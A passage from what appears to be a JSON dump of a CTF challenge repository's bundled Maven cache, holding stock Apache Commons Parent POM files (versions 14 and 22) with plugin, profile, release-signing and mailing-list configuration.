<groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <!-- override version 1.1 from apache parent to ensure JDK 1.4 compatibilty -->\n          <version>1.0</version>\n          <configuration>\n            <!--\n                apache parent pom automatically adds \"LICENSE\" and \"NOTICE\" files\n                to jars - duplciating the \"LICENSE.txt\" and \"NOTICE.txt\"\n                files that components already have.\n             -->\n            <skip>true</skip>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.4.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.0.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.1.1</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>${commons.surefire.version}</version>\n        </plugin>\n        <!-- Other plugins, alpha order by groupId and artifactId -->\n        <plugin>\n          <groupId>org.apache.commons</groupId>\n          <artifactId>commons-build-plugin</artifactId>\n          <version>1.2</version>\n          <configuration>\n            <commons.release.name>${commons.release.name}</commons.release.name>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.felix</groupId>\n          <artifactId>maven-bundle-plugin</artifactId>\n          <!-- version 1.4.x is required for JDK 1.4 compatibilty -->\n          <version>1.4.3</version>\n          <inherited>true</inherited>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- TODO: later use toolchain support to do compilation on an external JDK 1.3+ compiler -->\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <jvm>${commons.surefire.java}</jvm>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestFile>${commons.manifestfile}</manifestFile>\n            <manifestEntries>\n              <Specification-Title>${project.name}</Specification-Title>\n              <Specification-Version>${project.version}</Specification-Version>\n              <Specification-Vendor>${project.organization.name}</Specification-Vendor>\n              <Implementation-Title>${project.name}</Implementation-Title>\n              <Implementation-Version>${project.version}</Implementation-Version>\n              <Implementation-Vendor>${project.organization.name}</Implementation-Vendor>\n              <Implementation-Vendor-Id>org.apache</Implementation-Vendor-Id>\n              <X-Compile-Source-JDK>${maven.compile.source}</X-Compile-Source-JDK>\n              <X-Compile-Target-JDK>${maven.compile.target}</X-Compile-Target-JDK>\n            </manifestEntries>\n          </archive>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n        <configuration>\n          <excludeDependencies>true</excludeDependencies>\n          <manifestLocation>target/osgi</manifestLocation>\n          <instructions>\n            <!-- stops the \"uses\" clauses being added to \"Export-Package\" manifest entry -->\n            <_nouses>true</_nouses>\n            <!-- Stop the JAVA_1_n_HOME variables from being treated as headers by Bnd -->\n            <_removeheaders>JAVA_1_3_HOME,JAVA_1_4_HOME,JAVA_1_5_HOME,JAVA_1_6_HOME</_removeheaders>\n            <Bundle-SymbolicName>${commons.osgi.symbolicName}</Bundle-SymbolicName>\n            <Export-Package>${commons.osgi.export}</Export-Package>\n            <Private-Package>${commons.osgi.private}</Private-Package>\n            <Import-Package>${commons.osgi.import}</Import-Package>\n            <DynamicImport-Package>${commons.osgi.dynamicImport}</DynamicImport-Package>\n            <Bundle-DocURL>${project.url}</Bundle-DocURL>\n          </instructions>\n        </configuration>\n        <executions>\n          <execution>\n            <id>bundle-manifest</id>\n            <phase>process-classes</phase>\n            <goals>\n              <goal>manifest</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-idea-plugin</artifactId>\n        <configuration>\n          <jdkLevel>${maven.compile.source}</jdkLevel>\n        </configuration>\n      </plugin>\n      <plugin>\n        <!--\n          - Copy LICENSE.txt and NOTICE.txt so that they are included\n          - in the -javadoc jar file for the component.\n          -->\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>javadoc.resources</id>\n            <phase>generate-sources</phase>\n            <goals>\n              <goal>run</goal>\n            </goals>\n            <configuration>\n              <tasks>\n                <copy todir=\"${project.build.directory}/apidocs/META-INF\">\n                  <fileset dir=\"${basedir}\">\n                    <include name=\"LICENSE.txt\" />\n                    <include name=\"NOTICE.txt\" />\n                  </fileset>\n                </copy>\n              </tasks>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.commons</groupId>\n        <artifactId>commons-build-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <!-- N.B. plugins defined here in the <reporting> section ignore what's defined in <pluginManagement>\n         in the <build> section above, so we have to define the versions here. -->\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.1.2</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>2.5</version>\n        <configuration> \n          <!-- keep only errors and warnings -->\n          <quiet>true</quiet>\n          <source>${maven.compile.source}</source>\n          <encoding>${commons.encoding}</encoding>\n          <docEncoding>${commons.docEncoding}</docEncoding>\n          <linksource>true</linksource>\n          <links>\n            <link>http://java.sun.com/javase/6/docs/api/</link>\n          </links>\n        </configuration> \n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jxr-plugin</artifactId>\n        <version>2.1</version>\n        <configuration> \n          <aggregate>false</aggregate>\n        </configuration> \n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n        <version>2.0.1</version>\n        <configuration>\n          <!-- Exclude the navigation file for Maven 1 sites\n               and the changes file used by the changes-plugin,\n               as they interfere with the site generation. -->\n          <moduleExcludes>\n            <xdoc>navigation.xml,changes.xml</xdoc>\n          </moduleExcludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-report-plugin</artifactId>\n        <version>${commons.surefire.version}</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>jdepend-maven-plugin</artifactId>\n        <version>2.0-beta-2</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>rat-maven-plugin</artifactId>\n        <version>1.0-alpha-3</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>ci</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </repository>\n        <snapshotRepository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </snapshotRepository>\n      </distributionManagement>\n    </profile>\n\n    <profile>\n      <id>release</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.releases</id>\n          <name>Apache Release Distribution Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository</url>\n        </repository>\n      </distributionManagement>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <!-- Pass these arguments to the deploy plugin. -->\n              <arguments>-Prelease</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>javadoc</goal>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n            <configuration>\n              <source>${maven.compile.source}</source>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <profile>\n      <id>rc</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/builds/commons/${commons.componentid}/${commons.release.version}/${commons.rc.version}/staged</url>\n        </repository>\n        <snapshotRepository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </snapshotRepository>\n      </distributionManagement>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <!-- Pass these arguments to the deploy plugin. -->\n              <arguments>-Prc</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>javadoc</goal>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n            <configuration>\n              <source>${maven.compile.source}</source>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>attached</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.3\n       (JAVA_1_3_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.3</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.3</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_3_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_3_HOME}/bin/java</commons.surefire.java>\n        <commons.surefire.version>2.2</commons.surefire.version>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.4\n       (JAVA_1_4_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.4</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.4</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_4_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_4_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.5\n       (JAVA_1_5_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.5</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.5</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_5_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_5_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.6\n       (JAVA_1_6_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.6</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.6</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_6_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_6_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!-- N.B. when adding new java profiles, be sure to update \n         the _removeheaders list in the maven_bundle_plugin configuration -->\n\n    <!--\n      Profile to build all Commons \"proper\" components.\n\n      The trunks of all \"proper\" components can be checked out using:\n          https://svn.apache.org/repos/asf/commons/trunks-proper/\n\n      This profile is a convenience which can be used, for example, to build all the component sites:\n          mvn -Ptrunks-proper site\n\n      or, to clean up:\n          mvn -Ptrunks-proper clean\n\n      see http://issues.apache.org/jira/browse/COMMONSSITE-30\n      -->\n    <profile>\n      <id>trunks-proper</id>\n      <modules>\n        <module>../beanutils</module>\n        <module>../betwixt</module>\n        <module>../chain</module>\n        <module>../cli</module>\n        <module>../codec</module>\n        <module>../collections</module>\n        <module>../compress</module>\n        <module>../configuration</module>\n        <module>../daemon</module>\n        <module>../dbcp</module>\n        <module>../dbutils</module>\n        <module>../digester</module>\n        <module>../discovery</module>\n        <module>../el</module>\n        <module>../email</module>\n        <module>../exec</module>\n        <module>../fileupload</module>\n        <module>../io</module>\n        <module>../jci</module>\n        <module>../jexl</module>\n        <module>../jxpath</module>\n        <module>../lang</module>\n        <module>../launcher</module>\n        <module>../logging</module>\n        <module>../math</module>\n        <module>../modeler</module>\n        <module>../net</module>\n        <module>../pool</module>\n        <module>../primitives</module>\n        <module>../proxy</module>\n        <module>../sanselan</module>\n        <module>../scxml</module>\n        <module>../transaction</module>\n        <module>../validator</module>\n        <module>../vfs</module>\n      </modules>\n    </profile>\n  </profiles>\n\n  <properties>\n\n    <!-- Default configuration for compiler source and target JVM -->\n    <maven.compile.source>1.3</maven.compile.source>\n    <maven.compile.target>1.3</maven.compile.target>\n\n    <!-- compiler and surefire plugin settings for \"java\" profiles -->\n    <commons.compiler.fork>false</commons.compiler.fork>\n    <commons.compiler.compilerVersion />\n    <commons.compiler.javac />\n    <commons.surefire.java />\n    <commons.surefire.version>2.5</commons.surefire.version>\n\n    <!-- Default values for the download-page generation by commons-build-plugin -->\n    <commons.release.name>${project.artifactId}-${commons.release.version}</commons.release.name>\n    <commons.release.desc />\n    <commons.release.2.desc />\n    <commons.binary.suffix>-bin</commons.binary.suffix>\n    <commons.release.2.binary.suffix>-bin</commons.release.2.binary.suffix>\n\n    <!-- Commons Component Id -->\n    <commons.componentid>${project.artifactId}</commons.componentid>\n\n    <!-- The RC version used in the staging repository URL. -->\n    <commons.rc.version>RC1</commons.rc.version>\n\n    <!-- Configuration properties for the OSGi maven-bundle-plugin -->\n    <commons.osgi.symbolicName>org.apache.commons.${commons.componentid}</commons.osgi.symbolicName>\n    <commons.osgi.export>org.apache.commons.*;version=${project.version};-noimport:=true</commons.osgi.export>\n    <commons.osgi.import>*</commons.osgi.import>\n    <commons.osgi.dynamicImport />\n    <commons.osgi.private />\n\n    <!-- location of any manifest file used by maven-jar-plugin -->\n    <commons.manifestfile>target/osgi/MANIFEST.MF</commons.manifestfile>\n\n    <!--\n      Make the deployment protocol pluggable. This allows to switch to\n      other protocols like scpexe, which some users prefer over scp.\n    -->\n    <commons.deployment.protocol>scp</commons.deployment.protocol>\n\n    <!--\n      Encoding of Java source files: Make sure, that the compiler and\n      the javadoc generator use the right encoding. Subprojects may\n      overwrite this, if they are using another encoding.\n    -->\n    <commons.encoding>iso-8859-1</commons.encoding>\n    <commons.docEncoding>${commons.encoding}</commons.docEncoding>\n    <!-- Define encoding for filtering -->\n    <project.build.sourceEncoding>${commons.encoding}</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>${commons.encoding}</project.reporting.outputEncoding>\n\n  </properties>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/14/commons-parent-14.pom.sha1",
    "content": "f2d3a6ada0e1cad7236e1f2a06ec5d4c811f3681"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/22/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:26 CST 2018\ncommons-parent-22.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/22/commons-parent-22.pom",
    "content": "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!--\n\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <!-- Version 10 is broken; see https://issues.apache.org/jira/browse/MPOM-32 -->\n    <version>9</version>\n  </parent>\n  <groupId>org.apache.commons</groupId>\n  <artifactId>commons-parent</artifactId>\n  <packaging>pom</packaging>\n  <!-- Must agree with commons.release.version below -->\n  <version>22</version>\n  <name>Commons Parent</name>\n  <url>http://commons.apache.org/</url>\n  <description>The Apache Commons Parent Pom provides common settings for all Apache Commons components.</description>\n\n  <ciManagement>\n    <system>continuum</system>\n    <url>http://vmbuild.apache.org/continuum/</url>\n  </ciManagement>\n\n  <!--\n    Starting with version 22, the RAT plugin has changed Maven group and id, so any existing configuration\n    needs to be updated.\n    To fix component POMs, please change any occurrences of:\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>rat-maven-plugin</artifactId>\n    to the new values:\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        \n    Site deployment\n    ===============\n    Cannot define this here at present, see https://issues.apache.org/jira/browse/COMMONSSITE-26.\n\n    The following should be added to the component POM:\n   \n    <distributionManagement>\n      <site>\n        <id>apache.website</id>\n        <name>Apache Commons Site</name>\n        <url>${commons.deployment.protocol}://people.apache.org/www/commons.apache.org/${commons.componentid}</url>\n      </site>\n    </distributionManagement>\n\n  -->\n\n  <!--\n    This section *must* be overwritten by subprojects. It is only to allow\n    a release of the commons-parent POM.\n  -->\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/trunk</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/trunk</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/commons-parent/trunk</url>\n  </scm>\n\n  <mailingLists>\n    <!-- N.B. commons-site now uses the Apache POM so has its own copy of the mailing list definitions -->\n    <!-- \n        Components should normally override the default mailing list report by using the comnand\n        mvn commons:mail-page\n        This generates the file src/site/xdoc/mail-lists.xml which when processed will replace the PIR version.\n     -->\n    <!-- Changes to this list should be synchronised with the commons build plugin -->\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>user-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>user-unsubscribe@commons.apache.org</unsubscribe>\n      <post>user@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-user/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.users/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---User-f319.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/user@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.user</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>dev-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@commons.apache.org</unsubscribe>\n      <post>dev@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.dev/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---Dev-f317.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/dev@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.devel</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Issues List</name>\n      <subscribe>issues-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@commons.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.issues/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---Issues-f25499.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/issues@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Commits List</name>\n      <subscribe>commits-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@commons.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.commits/</otherArchive>\n        <otherArchive>http://www.mail-archive.com/commits@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.announce/</otherArchive>\n        <otherArchive>http://old.nabble.com/Apache-News-and-Announce-f109.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/announce@apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.apache.announce</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n  <build>\n    <!-- TODO find a better way to add N&L files to jars and test jars\n         See also maven-remote-resources-plugin configuration below. \n    -->\n    <resources>\n      <!-- This is the default setting from the super-pom -->\n      <resource>\n        <directory>src/main/resources</directory>\n      </resource>\n      <!-- hack to ensure the N&L appear in jars -->\n      <resource>\n        <directory>${basedir}</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>NOTICE.txt</include>\n          <include>LICENSE.txt</include>\n        </includes>\n      </resource>\n    </resources>\n    <!-- ensure test jars also get NOTICE & LICENSE files -->\n    <testResources>\n      <!-- This is the default setting from the super-pom -->\n      <testResource>\n        <directory>src/test/resources</directory>\n      </testResource>\n      <!-- hack to ensure the N&L appear in jars -->\n      <testResource>\n        <directory>${basedir}</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>NOTICE.txt</include>\n          <include>LICENSE.txt</include>\n        </includes>\n      </testResource>\n    </testResources>\n    <pluginManagement>\n      <plugins>\n        <!-- org.apache.maven.plugins, alpha order by artifact id -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.4.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.3.2</version>\n          <configuration>\n            <source>${maven.compile.source}</source>\n            <target>${maven.compile.target}</target>\n            <encoding>${commons.encoding}</encoding>\n            <fork>${commons.compiler.fork}</fork>\n            <compilerVersion>${commons.compiler.compilerVersion}</compilerVersion>\n            <executable>${commons.compiler.javac}</executable>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.3.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>${commons.javadoc.version}</version>\n          <configuration>\n            <!-- keep only errors and warnings -->\n            <quiet>true</quiet>\n            <encoding>${commons.encoding}</encoding>\n            <docEncoding>${commons.docEncoding}</docEncoding>\n            <links>\n              <link>${commons.javadoc.java.link}</link>\n              <link>${commons.javadoc.javaee.link}</link>\n            </links>\n            <archive>\n              <manifest>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.2.1</version>\n        </plugin>\n        <plugin>\n          <!-- TODO see above - find better way to add N&L files to jars and test jars -->\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <configuration>\n            <!--\n                apache parent pom automatically adds \"LICENSE\" and \"NOTICE\" files\n                to jars - duplicating the \"LICENSE.txt\" and \"NOTICE.txt\"\n                files that components already have.\n             -->\n            <skip>true</skip>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>3.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.1.2</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>${commons.surefire.version}</version>\n        </plugin>\n        <!-- Other plugins, alpha order by groupId and artifactId -->\n        <plugin>\n          <groupId>org.apache.commons</groupId>\n          <artifactId>commons-build-plugin</artifactId>\n          <version>1.3</version>\n          <configuration>\n            <commons.release.name>${commons.release.name}</commons.release.name>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.felix</groupId>\n          <artifactId>maven-bundle-plugin</artifactId>\n          <!-- N.B. 2.3.5 does not work on Java 5; see profile java-1.5-detected for the workround -->\n          <version>2.3.5</version>\n          <inherited>true</inherited>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>buildnumber-maven-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- org.apache.maven.plugins, alpha order by artifact id -->\n      <plugin>\n        <!--\n          - Copy LICENSE.txt and NOTICE.txt so that they are included\n          - in the -javadoc jar file for the component.\n          -->\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>javadoc.resources</id>\n            <phase>generate-sources</phase>\n            <goals>\n              <goal>run</goal>\n            </goals>\n            <configuration>\n              <target>\n                <copy todir=\"${project.build.directory}/apidocs/META-INF\">\n                  <fileset dir=\"${basedir}\">\n              